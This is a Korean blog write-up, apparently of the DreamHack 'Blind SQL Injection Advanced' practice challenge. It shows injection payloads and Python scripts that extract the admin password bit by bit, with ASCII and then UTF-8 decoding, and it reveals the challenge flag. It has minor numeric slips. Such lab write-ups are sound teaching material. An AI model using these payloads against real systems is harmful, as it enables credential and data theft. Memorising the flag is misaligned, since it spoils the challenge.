Oh! JUN
[DreamHack] blind sql injection advanced 문제풀이 본문
문제설명 |
Exercise: Blind SQL Injection Advanced에서 실습하는 문제입니다. 관리자의 비밀번호는 "아스키코드"와 "한글"로 구성되어 있습니다. |
Query를 보니까 DH{**FLAG**} 여기 FLAG 값을 구하면 된다.
먼저, FLAG의 길이를 구해보자
FLAG 값은 27자인거 알았다.
이제 blind_Sql Injection 공격으로 FLAG값을 알아볼것이다.
FLAG가 위치한 레코드의 uid='admin'이니까 select upw from users where uid='admin' 한글자씩 아스키코드로 변환해서 비트추론할 것이다.
다하기는 오래걸리니까 글자하나만 수공업으로 하고 나머지는 python으로 코드짜서 자동화 돌리겠습니다.
INPUT | OUTPUT |
admin' and ascii(substring((select upw from users where uid='admin'),1,1))&1=1# | 0 |
admin' and ascii(substring((select upw from users where uid='admin'),1,1))&2=2# | 0 |
admin' and ascii(substring((select upw from users where uid='admin'),1,1))&4=4# | 1 : user "admin' and ascii(substring((select upw from users where uid='admin'),1,1))&4=4#" exists. |
admin' and ascii(substring((select upw from users where uid='admin'),1,1))&8=8# | 0 |
admin' and ascii(substring((select upw from users where uid='admin'),1,1))&16=16# | 0 |
admin' and ascii(substring((select upw from users where uid='admin'),1,1))&32=32# | 0 |
admin' and ascii(substring((select upw from users where uid='admin'),1,1))&64=64# | 1 : user "admin' and ascii(substring((select upw from users where uid='admin'),1,1))&4=4#" exists. |
admin' and ascii(substring((select upw from users where uid='admin'),1,1))&128=128# | 0 |
01000100 -> 'D' |
첫글자는 'D'
아마도 DH{**FLAG**} 할때 첫번째 D 일듯
나머지는 파이썬 코드 짜보겠습니다.
import requests
import string
url = "http://host3.dreamhack.games:16869/"
asc = ["128", "64", "32", "16", "8", "4", "2", "1"]
print(len(asc))
result=""
upw=""
for i in range(1,28):#1,14
for j in asc:
param = "?uid=admin%27+and+ascii%28substring%28%28select+upw+from+users+where+uid%3D%27admin%27%29%2C"+str(i)+"%2C1%29%29%26"+j+"%3D"+j+"%23"
res_url = url+param
response = requests.get(res_url)
if response.text.find("exists")>0:
result+="1"
if response.text.find("exists")<0:
result+="0"
print(str(i)+"번째 패스워드 :"+result)
dec = int(result,2)
print(dec)
print(chr(dec))
upw+=chr(dec)
result=""
print("pw :"+upw)
1번째 패스워드 :01000100 68 D 2번째 패스워드 :01001000 72 H 3번째 패스워드 :01111011 123 { 4번째 패스워드 :11101100 236 ì 5번째 패스워드 :11101010 234 ê 6번째 패스워드 :11101100 236 ì 7번째 패스워드 :11101011 235 ë 8번째 패스워드 :11101011 235 ë 9번째 패스워드 :11101011 235 ë 10번째 패스워드 :11101101 237 í 11번째 패스워드 :00100001 33 ! 12번째 패스워드 :00111111 63 ? 13번째 패스워드 :01111101 125 } 14번째 패스워드 :00000000 0 15번째 패스워드 :00000000 0 ... 27번째 패스워드 :00000000 0 pw :DH{ìêìëëëí!?} |
DH{!?}는 정상적으로 출력되는데 사이에 이상한 값이 출력되고 14번째 글자부터 아무것도 잡히지가 않는다.
문제를 다시 확인해보니까
문제설명 |
Exercise: Blind SQL Injection Advanced에서 실습하는 문제입니다. 관리자의 비밀번호는 "아스키코드"와 "한글"로 구성되어 있습니다. |
'한글'이 포함이 되어있다.....
먼저, 글자수가 왜 27개가 아닌 13개 잡히는지 확인해보자
D(1byte) | H(1byte) | {(1byte) | ì(3byte) | ê(3byte) | ì(3byte) | ë(3byte) | ë(3byte) | ë(3byte) | í(3byte) |
!(1byte) | ?(1byte) | }(1byte) |
1+1+1+1+3+3+3+3+3+3+3+1+1+1=27
ìêìëëëí가 다 3바이트 문자이기 때문이다.
즉 한글이고 UTF-8 인코딩이다.
아스키코드로는 한글을 표현할 수 없다.
유니코드에 맞춰야 된다.
import requests
import string
url = "http://host3.dreamhack.games:16869/"
result=""
upw=""
key_flag=""
for i in range(4,11):#1,14
for j in range(1, 25):
param ="?uid=admin%27+and+substring%28bin%28ord%28substring%28%28select+upw+from+users+where+uid%3D%27admin%27%29%2C"+str(i)+"%2C1%29%29%29%2C"+str(j)+"%2C1%29%3D1%23"
#admin' and substring(bin(ord(substring((select upw from users where uid='admin'),?,1))),?,1)=1#
res_url = url+param
response = requests.get(res_url)
#print(param)
if response.text.find("exists.")>0:
result+="1"
#print("pw :"+result)
if response.text.find("exists.")<0:
result+="0"
#print("pw :"+result)
print(str(i)+"번째 패스워드 :"+result)
a=hex(int(str(bin(int(result,2))[2:]),2))[2:]#2진수 값 result가 int형으로 들어가야됨. (str(): "1010" -> int(): 10 -> bin() : 1010)
key = bytes.fromhex(a).decode('utf-8')
print(key)
result=""
key_flag += key
print("flag :"+key_flag)
upw의 4번째 단어를 ord() : 유니코드로 변환시키고 -> bin() : 2진수로 변경시켰다.
그러면 101010xxxxxx이런식으로 나오면 첫번째 숫자부터 비교해서
user "????" exists.
이 문구가 뜨면 맞는거니까 1
뜨지 않으면 0
추가해서 유니코드에서 변환된 2진수를 알 수 있다.
이 |
↓ ord('이')
50504 |
↓ bin(51060)
1100011101110100 |
↓utf-8 인코딩(https://ko.wikipedia.org/wiki/UTF-8)
1110/1100/10/011101/10/110100 |
↓ substring('111011001001110110110100',1~24,1)
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),1,1)=1# | 0 |
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),2,1)=1# | 0 |
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),3,1)=1# | 1 |
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),4,1)=1# | 0 |
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),5,1)=1# | 1 |
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),6,1)=1# | 1 |
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),7,1)=1# | 0 |
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),8,1)=1# | 1 |
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),9,1)=1# | 1 |
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),10,1)=1# | 0 |
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),11,1)=1# | 1 |
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),12,1)=1# | 1 |
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),13,1)=1# | 1 |
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),14,1)=1# | 0 |
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),15,1)=1# | 0 |
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),16,1)=1# | 1 |
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),17,1)=1# | 0 |
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),18,1)=1# | 0 |
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),19,1)=1# | 1 |
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),20,1)=1# | 1 |
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),21,1)=1# | 0 |
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),22,1)=1# | 1 |
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),23,1)=1# | 1 |
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),24,1)=1# | 1 |
하나씩 비교해서 exits이 화면에 뜨면 1
뜨지 않으면 0으로 유추해서
유니코드 알 수 있다.
111011001001110110110100
a=hex(int(str(bin(int(result,2))[2:]),2))[2:]
result가 현재 str형태여서 16진수로 변경할려면 int형으로 변경해줘야된다.
2진수 값 result가 int형으로 들어가야됨. (str(): "1010" -> int(): 10 -> bin() : 1010)
key = bytes.fromhex(a).decode('utf-8')
16진수를 utf-8로 디코딩하면 우리가 알려고 한 한글 구할 수 있다.
4번째 패스워드 :111011001001110110110100 이 5번째 패스워드 :111010101011001010000011 것 6번째 패스워드 :111011001001110110110100 이 7번째 패스워드 :111010111011100110000100 비 8번째 패스워드 :111010111011000010000000 밀 9번째 패스워드 :111010111011001010001000 번 10번째 패스워드 :111011011001100010111000 호 flag :이것이비밀번호 |
'문제풀이 > DreamHack' 카테고리의 다른 글
[wargame.kr] zairo (공부 많이 되는 문제!!)(blind_SQL_INJECTION 심화) (0) | 2023.02.18 |
---|---|
[wargame.kr] adm1nkyj (공부 많이 되는 문제!)(컬럼 모르는 상태에서 튜플 구하기!) (0) | 2023.02.10 |
[DreamHack] weblog-1 풀이 (0) | 2022.12.28 |
[DreamHack] command-injection-1 (0) | 2022.12.28 |
[DreamHack] baby-sqlite 풀이 (0) | 2022.12.28 |